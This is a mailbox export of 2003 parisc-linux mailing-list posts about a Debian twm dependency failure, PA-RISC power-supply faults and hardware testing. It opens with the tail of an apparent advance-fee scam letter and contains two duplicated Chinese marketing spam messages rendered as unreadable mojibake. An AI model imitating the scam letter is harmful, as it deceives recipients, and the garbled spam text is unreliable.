I also want you to know that I kept this all along,not because I am self sentered,or greedy,but for the common interest of my people.

I await your anticipated co-operation.

yours truly

Mr. Brown Potricio.


From - Thu Nov 08 21:28:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new cvs branch for 2.6?
Date: Thu, 31 Jul 2003 08:20:38 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <3F2795DD00000295@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622636 28618 80.91.229.3 (22 Nov 2014 02:17:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 31 00:20:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A645482D
	for <parisc-linux@parisc-linux.org>; Thu, 31 Jul 2003 00:20:40 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19i6kr-0002wm-00
	for <parisc-linux@parisc-linux.org>; Thu, 31 Jul 2003 08:17:37 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 31 Jul 2003 08:20:38 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19059

Hi pa,

Do we have now to co the new branch (linux-2.6)?

Joel

------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Anderson <greg@planetbeagle.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How to install X on 715/50 -- problem with twm
Date: Thu, 31 Jul 2003 16:45:41 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <5.2.1.1.2.20030731163951.00b423d0@127.0.0.1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622636 28620 80.91.229.3 (22 Nov 2014 02:17:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 31 17:46:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vp.netgate.net (vp.netgate.net [205.214.170.245])
	by dsl2.external.hp.com (Postfix) with ESMTP id 156EA482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 31 Jul 2003 17:46:32 -0600 (MDT)
Original-Received: (from greg@localhost)
	by vp.netgate.net (8.11.6/8.11.6) id h6VNkVO12174;
	Thu, 31 Jul 2003 16:46:31 -0700 (PDT)
X-Sender: greg:vp.netgate.net@127.0.0.1 (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 5.2.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19060

Hi all,

I'm sure this is a FAQ, but I didn't find an answer anywhere in the archives.

I've just installed Debian 3.0 (woody) on my venerable HP 715/50.  The install went flawlessly and easily (great kudos to all involved in the hppa port!)

Now I'm envious of all you hppa Linux old-timers who are running Gnome, and I'm trying to load the X windows stuff.  I tried installing X Windows and Desktop System from tasksel, and I also tried installing X Windows "by hand" using apt-get.  Either way, the install will not complete, saying that twm cannot be installed.

When I try to install twm, I get:

# apt-get install twm
Reading Package Lists... Done
Building Dependency Tree... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.

Since you only requested a single operation it is extremely likely that
the package is simply not installable and a bug report against
that package should be filed.
The following information may help to resolve the situation:

Sorry, but the following packages have unmet dependencies:
  twm: Depends: menu (> 1.5) but it is not installable
E: Sorry, broken packages


When I look around for the menu package, it's nowhere to be found.

What to do?  Do you all install XFree86 from its own distribution, bypassing the .deb files?

Any tips are most appreciated.

Thanks!
Greg


___________________________________________________________________
Greg Anderson                                 greg@PlanetBeagle.com 



From - Thu Nov 08 21:28:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "anlinwei" <anlinwei@vip.sina.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?SVTQ0NK1st+7rrO01/e3/s7x?=
Date: Thu, 31 Jul 2003 22:23:24 +0800
Lines: 162
Approved: news@gmane.org
Message-ID: <20030801022325.62063482D@dsl2.external.hp.com>
Reply-To: anlinwei@vip.sina.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622636 28621 80.91.229.3 (22 Nov 2014 02:17:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 31 20:23:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vip.sina.com (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62063482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 31 Jul 2003 20:23:25 -0600 (MDT)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19061

ڳԹ˾ ҵܣ
ݳĻ޹˾ITҵ㣺׫дͶŷ塢ų
Ǻ۶ɵĺΨйµԿµĲƷڳܳ˵Ĺ£ڶֵĶ㣩


һ͹˷ܵˣ
һӵӵĴ˼άһӿԱһٸˣ
һκεŶصӽǺͼĹˣ
һʱԵķǳžϲ
ԸоһĵĿԼļ˷ǺεȵĸиȾ
ǱĬԼӵһõЦݡ
ΧŶӣΪӵкܶҵѣͨԴԴ

绰02085580657ת19   85580234ת1920	
Email: anlinwei@vip.sina.com          http://gzcj.blogone.net/
ַɽô԰9E



Եҵ
1	г߻ƹ
2	ճ
3	չ
4	

г߻ƹ
ͨһITҵרҵ֪ʶĹ߻С飬ÿͻ
гȥʶоѰҲͬʱڡͬƷڲͬгλŴ

ճ
ӵרҵý鹤顣ܸýɫͿͻƹмֵ
ŵԱΪͻṩʵʱĳڵг֧֣Эͻȫ
չϵͨػͻǿҵƷ

1	ճش
Ÿ׫д뷢
ŷᣬר
2	湺뷢
гƹ߻
ý鹺
淢

3	Ʒݱ
4	Ʒѵ
Ʒѵ
ۼѵ


1	߻
2ƽ
VI
Ʒװ
š
չʾ
ճشĿ
a.	׫д
b.	ŷ
c.	ýϸʱ㱨ͨ
d.	ÿ㱨һϿ
e.	ÿ¾ּݱύ
f.	ÿ¼ذύ
g.	ٿƷƴ᣻
h.	֯ýҵ׺ͽ
i.	Э֯ᣬҵ󣬼ǿҵ뾭̹ͨƷţչ⣬Ա֤ҵƷƸƽͷչ
j.	ҵרá

ŷĿ
ӵзḻĲ߻ʵʩ飬Ϊṩרҵķ   
ŷĲ߻ʵʩ
1Эҵ޻᳡Ųû᳡Ⱥڹ
2ýߵ룻 
3ýǰ˽ҵйرϺͱλ⣺
4ҵǰύý߸Ȥŵ㣻
5ǰר˸ߵǩ˫
6ŷǰýרã
7ʵŸĿ
8Ÿռʱҵύ

ֻᡢʽĲ߻ʵʩ
1	Ա
2	ĲڵĹ
3	
У԰Գǹػ߻֯
֧֣йԽ㶫УѲչ
         ˵ԡڰȫУѲչ         
Ҫͻ˿Ƽ
              ޹˾
ݸʵҵ޹˾
ʵҵ޹˾
㶫ʵҵ޹˾
ڵ
ߵ
ݷܴ
ݸÿʵҵ޹˾
֮ī
㶫޹˾
HPCʾ
ά˶Կ
ŵʥͼý
ݸպ͵豸޹˾
ITý屸ѡ
			ý
1.			רҵ	
2.				й
3.				Թʦ
4.				˵
5.				Ʒͨ
6.				Ӳ
7.				
8.				
9.				鱨
10.				ÿܵԱ
11.				԰
12.				Ը
13.				
14.				Բɹ
15.				Ӳ
16.				뾫Ʒ
17.				԰߹
18.				Ӧ
19.				Է
20.				
21.				̱
22.				Ա
23.				
24.				Ϸ
25.				йԽ
26.				µ
27.				΢ͼ
28.				
29.				ִ
30.				ӲƷ
31.				Ϣ
32.				Ϣִ
			ý
33.				PConline
34.				йش
35.				߽йش
36.				йش嵼
37.				Pchome 
38.				PCPOP_
39.				Gzeasy
40.				Itnow
41.				ӲŻ
42.				ӲѶ
43.				켫
44.				IT
45.				ȶ
46.				
47.				Ӳɳ
48.				
49.				IT168
50.				齭·
51.				
52.				
53.				ITƵ
54.				ŻITƵ
55.				ѺITƵ
56.				ITƵ




From - Thu Nov 08 21:28:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "anlinwei" <anlinwei@vip.sina.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?SVTQ0NK1st+7rrO01/e3/s7x?=
Date: Thu, 31 Jul 2003 22:23:29 +0800
Lines: 162
Approved: news@gmane.org
Message-ID: <20030801022329.D75124875@dsl2.external.hp.com>
Reply-To: anlinwei@vip.sina.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622637 28627 80.91.229.3 (22 Nov 2014 02:17:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:17 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 31 20:23:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vip.sina.com (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id D75124875
	for <parisc-linux@parisc-linux.org>; Thu, 31 Jul 2003 20:23:29 -0600 (MDT)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19062

ڳԹ˾ ҵܣ
ݳĻ޹˾ITҵ㣺׫дͶŷ塢ų
Ǻ۶ɵĺΨйµԿµĲƷڳܳ˵Ĺ£ڶֵĶ㣩


һ͹˷ܵˣ
һӵӵĴ˼άһӿԱһٸˣ
һκεŶصӽǺͼĹˣ
һʱԵķǳžϲ
ԸоһĵĿԼļ˷ǺεȵĸиȾ
ǱĬԼӵһõЦݡ
ΧŶӣΪӵкܶҵѣͨԴԴ

绰02085580657ת19   85580234ת1920	
Email: anlinwei@vip.sina.com          http://gzcj.blogone.net/
ַɽô԰9E



Եҵ
1	г߻ƹ
2	ճ
3	չ
4	

г߻ƹ
ͨһITҵרҵ֪ʶĹ߻С飬ÿͻ
гȥʶоѰҲͬʱڡͬƷڲͬгλŴ

ճ
ӵרҵý鹤顣ܸýɫͿͻƹмֵ
ŵԱΪͻṩʵʱĳڵг֧֣Эͻȫ
չϵͨػͻǿҵƷ

1	ճش
Ÿ׫д뷢
ŷᣬר
2	湺뷢
гƹ߻
ý鹺
淢

3	Ʒݱ
4	Ʒѵ
Ʒѵ
ۼѵ


1	߻
2ƽ
VI
Ʒװ
š
չʾ
ճشĿ
a.	׫д
b.	ŷ
c.	ýϸʱ㱨ͨ
d.	ÿ㱨һϿ
e.	ÿ¾ּݱύ
f.	ÿ¼ذύ
g.	ٿƷƴ᣻
h.	֯ýҵ׺ͽ
i.	Э֯ᣬҵ󣬼ǿҵ뾭̹ͨƷţչ⣬Ա֤ҵƷƸƽͷչ
j.	ҵרá

ŷĿ
ӵзḻĲ߻ʵʩ飬Ϊṩרҵķ   
ŷĲ߻ʵʩ
1Эҵ޻᳡Ųû᳡Ⱥڹ
2ýߵ룻 
3ýǰ˽ҵйرϺͱλ⣺
4ҵǰύý߸Ȥŵ㣻
5ǰר˸ߵǩ˫
6ŷǰýרã
7ʵŸĿ
8Ÿռʱҵύ

ֻᡢʽĲ߻ʵʩ
1	Ա
2	ĲڵĹ
3	
У԰Գǹػ߻֯
֧֣йԽ㶫УѲչ
         ˵ԡڰȫУѲչ         
Ҫͻ˿Ƽ
              ޹˾
ݸʵҵ޹˾
ʵҵ޹˾
㶫ʵҵ޹˾
ڵ
ߵ
ݷܴ
ݸÿʵҵ޹˾
֮ī
㶫޹˾
HPCʾ
ά˶Կ
ŵʥͼý
ݸպ͵豸޹˾
ITý屸ѡ
			ý
1.			רҵ	
2.				й
3.				Թʦ
4.				˵
5.				Ʒͨ
6.				Ӳ
7.				
8.				
9.				鱨
10.				ÿܵԱ
11.				԰
12.				Ը
13.				
14.				Բɹ
15.				Ӳ
16.				뾫Ʒ
17.				԰߹
18.				Ӧ
19.				Է
20.				
21.				̱
22.				Ա
23.				
24.				Ϸ
25.				йԽ
26.				µ
27.				΢ͼ
28.				
29.				ִ
30.				ӲƷ
31.				Ϣ
32.				Ϣִ
			ý
33.				PConline
34.				йش
35.				߽йش
36.				йش嵼
37.				Pchome 
38.				PCPOP_
39.				Gzeasy
40.				Itnow
41.				ӲŻ
42.				ӲѶ
43.				켫
44.				IT
45.				ȶ
46.				
47.				Ӳɳ
48.				
49.				IT168
50.				齭·
51.				
52.				
53.				ITƵ
54.				ŻITƵ
55.				ѺITƵ
56.				ITƵ




From - Thu Nov 08 21:28:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to install X on 715/50 -- problem with twm
Date: Fri, 1 Aug 2003 10:05:33 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20030801090533.GK727@sleepie.demon.co.uk>
References: <5.2.1.1.2.20030731163951.00b423d0@127.0.0.1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622637 28630 80.91.229.3 (22 Nov 2014 02:17:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Greg Anderson <greg@planetbeagle.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 03:22:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc1-hem11-4-cust109.lutn.cable.ntl.com [80.2.252.109])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BF98482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Aug 2003 03:22:20 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id E44FE9E718; Fri,  1 Aug 2003 10:05:33 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <5.2.1.1.2.20030731163951.00b423d0@127.0.0.1>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19063

On Thu, Jul 31, 2003 at 04:45:41PM -0700, Greg Anderson wrote:
> Hi all,
> 
> I'm sure this is a FAQ, but I didn't find an answer anywhere in the archives.
> 
> I've just installed Debian 3.0 (woody) on my venerable HP 715/50.  The install went flawlessly and easily (great kudos to all involved in the hppa port!)
> 
> Now I'm envious of all you hppa Linux old-timers who are running Gnome, and I'm trying to load the X windows stuff.  I tried installing X Windows and Desktop System from tasksel, and I also tried installing X Windows "by hand" using apt-get.  Either way, the install will not complete, saying that twm cannot be installed.
> 
> When I try to install twm, I get:
> 
> # apt-get install twm
> Reading Package Lists... Done
> Building Dependency Tree... Done
> Some packages could not be installed. This may mean that you have
> requested an impossible situation or if you are using the unstable
> distribution that some required packages have not yet been created
> or been moved out of Incoming.
> 
> Since you only requested a single operation it is extremely likely that
> the package is simply not installable and a bug report against
> that package should be filed.
> The following information may help to resolve the situation:
> 
> Sorry, but the following packages have unmet dependencies:
>   twm: Depends: menu (> 1.5) but it is not installable
> E: Sorry, broken packages
> 
> 
> When I look around for the menu package, it's nowhere to be found.
> 
> What to do?  Do you all install XFree86 from its own distribution, bypassing the .deb files?

Well, it's twm that has the problem, not XFree86.  Maybe we don't use
twm.  Looks like menu is indeed not in woody, but is in sarge and sid;
iirc it is a c++ program that we used to have trouble building.

Richard



From - Thu Nov 08 21:28:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Gabert <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Apollo 9000 power problem
Date: Fri, 1 Aug 2003 13:21:48 +0200
Lines: 86
Approved: news@gmane.org
Message-ID: <20030801112148.GA1062@nikita.ath.cx>
References: <1059732252.1227.39.camel@rupa.go.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622637 28634 80.91.229.3 (22 Nov 2014 02:17:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:17 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "E. Pavletic" <Enzo.Pavletic@guest.arnes.si>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 05:23:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 084DA4868
	for <parisc-linux@parisc-linux.org>; Fri,  1 Aug 2003 05:23:16 -0600 (MDT)
Original-Received: from fwd04.aul.t-online.de 
	by mailout05.sul.t-online.com with smtp 
	id 19iY0A-0007A6-01; Fri, 01 Aug 2003 13:23:14 +0200
Original-Received: from nikita.ath.cx (Tti3WsZDgebARrGZJ1uhmqB5z8WVJqNwBipthrxYyxqNWWDdrLbqcm@[217.229.12.37]) by fmrl04.sul.t-online.com
	with esmtp id 19iY08-1lxubo0; Fri, 1 Aug 2003 13:23:12 +0200
Original-Received: from nikita.ath.cx (localhost.localdomain [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.3/Debian-6.4) with ESMTP id h71BLnbX026737;
	Fri, 1 Aug 2003 13:21:49 +0200
Original-Received: (from pappy@localhost)
	by nikita.ath.cx (8.12.3/8.12.3/Debian-6.4) id h71BLmAu003024;
	Fri, 1 Aug 2003 13:21:48 +0200
Content-Disposition: inline
In-Reply-To: <1059732252.1227.39.camel@rupa.go.net>
User-Agent: Mutt/1.3.28i
X-Seen: false
X-ID: Tti3WsZDgebARrGZJ1uhmqB5z8WVJqNwBipthrxYyxqNWWDdrLbqcm@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19064

hi,

On Fri, Aug 01, 2003 at 12:04:12PM +0200, E. Pavletic wrote:
> Hi Alex,

nice to meet you :-)

> 
> I've got an apollo 9000 series 735/90 and now I'm experiencing a problem
> like yours: when I try to switch the power on, the leds flash up for a
> part of a second and then it's dead again.
> I have no idea what's the matter.

when it starts blinking for less than a second, try pushing the button
again and again and keeping it in the middle of being pushed.
this way you shortcircuit the logic but do not turn it off again!
> 
> I've looked on the Internet, but there I've found discordant opinions:
> someone says that the problem is in the power supply, others (like you)
> that it is in the power switch instead.

the power switch was not the problem.
the power suply has gone bad.
a new costs around 150 euro :-(


> 
> Would you be so kind as to tell me how you resolved the problem and
> what's the real reason of this failure, if you know it?

as said, the power supply has gone bad and i did not find a way other
than replacing it...
www.gall.de

> 
> Thanks
> enzo

HTH,

Alex
> 
> 
> # From: Alexander Gabert <pappy@nikita.ath.cx>
> # Date: Fri, 10 May 2002 22:37:45 +0200
> 
> > hi fellows,
> >
> > tonight i ran into a major problem: one of my two hp workstations is
> > having problems with the power on switch:
> 
> > the button must be pushed and tricked more than 5 times to turn the
> > machine on (led's blink only for a second when you push the button
> > once).  i did not mind and just did not turn the machine off :-)
> >
> > but now, i have the problem that the machine runs for 5-6 minutes and
> > then suddenly powers off itself.
> >
> > i really suppose it to be a problem with the A1094-66541 PCBA Switch
> > that is the little power switch assembly behind the drive cage that is
> > connected to the leds with the small ribbon cable and connected to the
> > chassis backplane with a long cable.
> >
> > does someone of you (preferably in germany, or the best would be
> > munich) know somebody, who i may ask to get me such a part?
> >
> >
> > i am quite sure, that this PCB is generating the problems with
> > powering
> > on the machine and recently that it powers itself off.
> > some months ago i took the power switch PCB from my second machine and
> > put it into this one and the PCB worked, but i need it for the other
> > machine of course, which happens to be the web/mail server from which
> > i am currently writing and receiving my mails.
> >
> > thank you in advance for any help to get this machine up and running
> > again...
> >
> > alex
> 

-- 
A long-forgotten loved one will appear soon.

Buy the negatives at any price.


From - Thu Nov 08 21:28:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Beerse, Corne" <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] testing HP-PA risc hardware
Date: Fri, 1 Aug 2003 16:29:35 +0200
Lines: 95
Approved: news@gmane.org
Message-ID: <03Aug1.164945cest.119089@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C35839.54B564E0"
X-Trace: ger.gmane.org 1416622638 28636 80.91.229.3 (22 Nov 2014 02:17:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:18 +0000 (UTC)
To: "'maillist parisc-linux'" <parisc-linux@parisc-linux.org>,
	"'maillist HP-UX-admin'" <hpux-admin@DutchWorks.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  1 08:29:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DB6F482D
	for <parisc-linux@parisc-linux.org>; Fri,  1 Aug 2003 08:29:41 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119089>; Fri, 1 Aug 2003 16:49:45 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19065

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C35839.54B564E0
Content-Type: text/plain

Hi,

Here I have an HP D370 machine that (during my holidays) crashed. Since the
machine was replaced since long and only kept running for fast access to old
stuff, not a real problem.

At first, we suspected the boot disk since its led keeps buring. However,
booting HP-UX from CDRom for a new fresh install, the boot of the kernel
crashes at roughly the same point, even with all disks removed. Hence we
suspected the core memory. However, changing or replacing the memory does
not change anything in the behavoure.

Is there a way to somehow test the hardware of a PA-Risc machine? Either
from HP or from the linux world?

Kind of like the test tools as found on the (intel-) linux distributions?

